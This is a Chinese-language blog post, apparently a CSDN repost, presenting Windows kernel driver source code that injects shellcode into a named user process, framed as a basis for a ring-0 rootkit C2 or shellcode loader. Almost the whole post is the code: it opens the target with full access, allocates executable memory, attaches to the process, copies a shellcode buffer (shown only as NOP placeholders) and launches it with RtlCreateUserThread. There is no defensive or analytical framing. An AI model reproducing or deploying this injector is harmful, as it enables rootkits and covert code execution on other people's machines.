驱动ShellCode注入

发布时间:2023年12月29日

驱动ShellCode注入提权简述
常见的ShellCode加载器都是在R3层进行的如果有同学想在R0实现Rootkit C2并实现ShellCode注入或者是,
ShellCode加载器那么可以参考如下代码,该代码主要使用KeStackAttachProcess附件目标进程切换堆栈实现,
ShellCode加载效果。
#include <ntifs.h>
#include <ntddk.h>
//ShellCode
UCHAR assemblyCode[10000]={0x90,0x90,0x90,……}
// 根据进程ID返回进程EPROCESS结构体,失败返回NULL
PEPROCESS GetProcessNameByProcessId(HANDLE pid)
{
    PEPROCESS ProcessObj = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    Status = PsLookupProcessByProcessId(pid, &ProcessObj);
    if (NT_SUCCESS(Status))
        return ProcessObj;
    return NULL;
}
NTSTATUS GetProcessHandleByProcessId(HANDLE pid, PHANDLE processHandle) {
    OBJECT_ATTRIBUTES objAttr;
    CLIENT_ID cid;
    NTSTATUS status;
    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    cid.UniqueProcess = pid;
    cid.UniqueThread = NULL;
    status = ZwOpenProcess(processHandle, PROCESS_ALL_ACCESS, &objAttr, &cid);
    return status;
}

//提供一个Unload函数只是为了让这个程序能动态卸载
VOID DriverUnload(PDRIVER_OBJECT driver) {
    DbgPrint("first:Our driver is unloading...\r\n");
}
NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process);
// 根据ProcessName获取到进程的PID号
HANDLE GetPidByProcessName(char* ProcessName)
{
    PEPROCESS pCurrentEprocess = NULL;
    HANDLE pid = 0;
    for (int i = 0; i < 1000000000; i += 4)
    {
        pCurrentEprocess = GetProcessNameByProcessId((HANDLE)i);
        if (pCurrentEprocess != NULL)
        {
            pid = PsGetProcessId(pCurrentEprocess);
            if (strstr(PsGetProcessImageFileName(pCurrentEprocess), ProcessName) != NULL)
            {
                ObDereferenceObject(pCurrentEprocess);
                return pid;
            }
            ObDereferenceObject(pCurrentEprocess);
        }
    }
    return (HANDLE)-1;
}
NTSTATUS RtlCreateUserThread(
    HANDLE               ProcessHandle,
    PSECURITY_DESCRIPTOR SecurityDescriptor,
    BOOLEAN              CreateSuspended,
    ULONG                StackZeroBits,
    PULONG               StackReserved,
    PULONG               StackCommit,
    PVOID                StartAddress,
    PVOID                StartParameter,
    PHANDLE              ThreadHandle,
    PCLIENT_ID           ClientID
);
//申请内存
NTSTATUS readprocess(HANDLE pid)
{
    HANDLE jubing1;//存放进程句柄
    OBJECT_ATTRIBUTES shuxing_duixiang;
    CLIENT_ID iphao;
    NTSTATUS zhuangtai1;
    PVOID dizhi1;//分配好的内存地址
    SIZE_T diqudaxiao;//分配好的内存尺寸
    iphao.UniqueProcess = (HANDLE)pid;
    iphao.UniqueThread = 0;
    diqudaxiao = (sizeof(assemblyCode) + 0xFFFF);
    dizhi1 = 0;//注意要赋值
    memset(&shuxing_duixiang, 0, sizeof(OBJECT_ATTRIBUTES));
    zhuangtai1 = ZwOpenProcess(&jubing1, GENERIC_ALL, &shuxing_duixiang, &iphao);//PROCESS_ALL_ACCESS
    if (!NT_SUCCESS(zhuangtai1))
    {
        KdPrint(("进程打开失败\n"));
    }
    else
    {
        KdPrint(("打开进程成功 pid==%d 进程句柄%x\n", iphao.UniqueProcess, jubing1));
    }

    NTSTATUS res = ZwAllocateVirtualMemory(jubing1, &dizhi1, 0, &diqudaxiao, MEM_COMMIT, PAGE_EXECUTE_READWRITE);//在进程中分配一块可用内存
    if (!NT_SUCCESS(res))
    {
        KdPrint(("内存分配失败\n"));
    }
    else
    {
        KdPrint(("分配好的虚拟内存地址%X	分配内存的大小%d\n", dizhi1, diqudaxiao));
        /* NtWriteVirtualMemory();
         ZwWriteVirtualMemory();*/
        PHYSICAL_ADDRESS physAddress = MmGetPhysicalAddress(dizhi1);
        DbgPrint("Allocated virtual address: %p\n", dizhi1);
        DbgPrint("Physical address: %p\n", physAddress);
        NTSTATUS status = STATUS_SUCCESS;
        PEPROCESS targetProcess = NULL;
        // 根据 PID 获取目标进程对象
        status = PsLookupProcessByProcessId(pid, &targetProcess);
        KAPC_STATE apcState;
        //附加目标进程切换堆栈
        KeStackAttachProcess(targetProcess, &apcState);
        //将shellcode拷贝到目标进程虚拟内存中
        memcpy(dizhi1, assemblyCode, sizeof(assemblyCode));
        HANDLE hThread;
        //创建线程执行ShellCode
        CLIENT_ID clientId;
        NTSTATUS ThreadStatus = RtlCreateUserThread(jubing1, NULL, FALSE, 0, NULL, NULL, dizhi1, NULL, &hThread, &clientId);
        KeUnstackDetachProcess(&apcState);
    }
    ZwClose(jubing1);
    return 0;
}


NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
    readprocess(GetPidByProcessName("process.exe"));
    return STATUS_SUCCESS;
}
文章来源:https://blog.csdn.net/qq_18811919/article/details/131094033
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。